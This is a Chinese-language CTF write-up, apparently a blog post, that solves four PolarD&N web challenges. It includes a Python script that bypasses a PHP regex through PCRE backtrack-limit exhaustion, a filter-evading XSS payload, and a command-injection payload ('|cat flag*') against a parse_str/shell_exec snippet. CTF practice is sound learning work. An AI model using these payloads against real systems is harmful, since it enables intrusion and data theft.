【PolarD&N】刷题记录5

1.WEB swp

1.打开实例查看页面,提示有.swp文件。

2.dir扫一下,有所发现。

3.进入index.php.swp中查看。

分析一下可以发现需要post一个xdmtql=sys nb。

除此之外需要注意的是,在代码中使用了正则表达式,并且出现了.*,这个时候可以利用正则匹配回溯机制,不断地进行回溯。(这个地方一开始没看出来,看了WP才发现原来是这样,长芝士辣!)

PHP通过pcre.backtrack_limit这个配置选项来设置这个回溯次数的上限。默认值是100万次。

4.根据代码分析后写脚本。

import requests
from io import BytesIO

data = {
  'xdmtql': BytesIO(b'sys nb' + b'a' * 1000000)
}

res = requests.post('http://7b04038a-91c9-460d-8137-31b0044ff430.www.polarctf.com:8090/',data=data)
print(res.text)

运行得到flag。

2.WEB 召唤神龙

1.打开实例发现是小游戏,玩了半天才意识到我是来找flag的(bushi)。

2抓包没返回的内容,难搞。

3.查看网页源代码,在main.js中有所发现。

4.放到控制台上执行一波,得到flag。

3.WEB 浮生日记

1.打开实例。

2.查看到实例的标题叫弹个窗让我康康。

使用常见payload:

 <script>alert(1)</script>

上传后没反应,查看网页源代码。

3.这个题目把一些关键字都过滤掉了,并且需要闭合前面的单引号。

所以修改payload:

"> <scrscriptipt>alert("1")</scrscriptipt>

4.跳转得到flag。

4.WEB 干正则

1.查看实例,分析代码。

 <?php
error_reporting(0);
if (empty($_GET['id'])) {
    show_source(__FILE__);
    die();
} else {
    include 'flag.php';
    $a = "www.baidu.com";
    $result = "";
    $id = $_GET['id'];
    @parse_str($id);
    echo $a[0];
    if ($a[0] == 'www.polarctf.com') {
        $ip = $_GET['cmd'];
        if (preg_match('/flag\.php/', $ip)) {
            die("don't show flag!!!");
        }

        $result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
        if ($result) {
            echo "<pre>{$result}</pre>";
        }
    } else {
        exit('其实很简单!');
    }
} 

根据代码可以知道,如果get请求方式传入id,就会包含flag.php 文件,使 id 的值经过 parse_str() 函数的过滤进行变量覆盖。

我们知道 $a[0]是w,但是我们可利用 parse_str() 函数的变量覆盖重新对 $a[0] 的值进行改变。

所以我们可以将$a[0]覆盖成www.polarctf.com,可以利用get传参。

除此之外,还有命令执行函数,所以我们可以利用它拿到flag。

注:这里有正则匹配,所以cat flag时需要使用flag*。

2.Payload:

?id=a[0]=www.polarctf.com&cmd=|cat flag*

查看源代码,秒了。


纯小白刷题,如有错误,欢迎指正!

  • 6
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值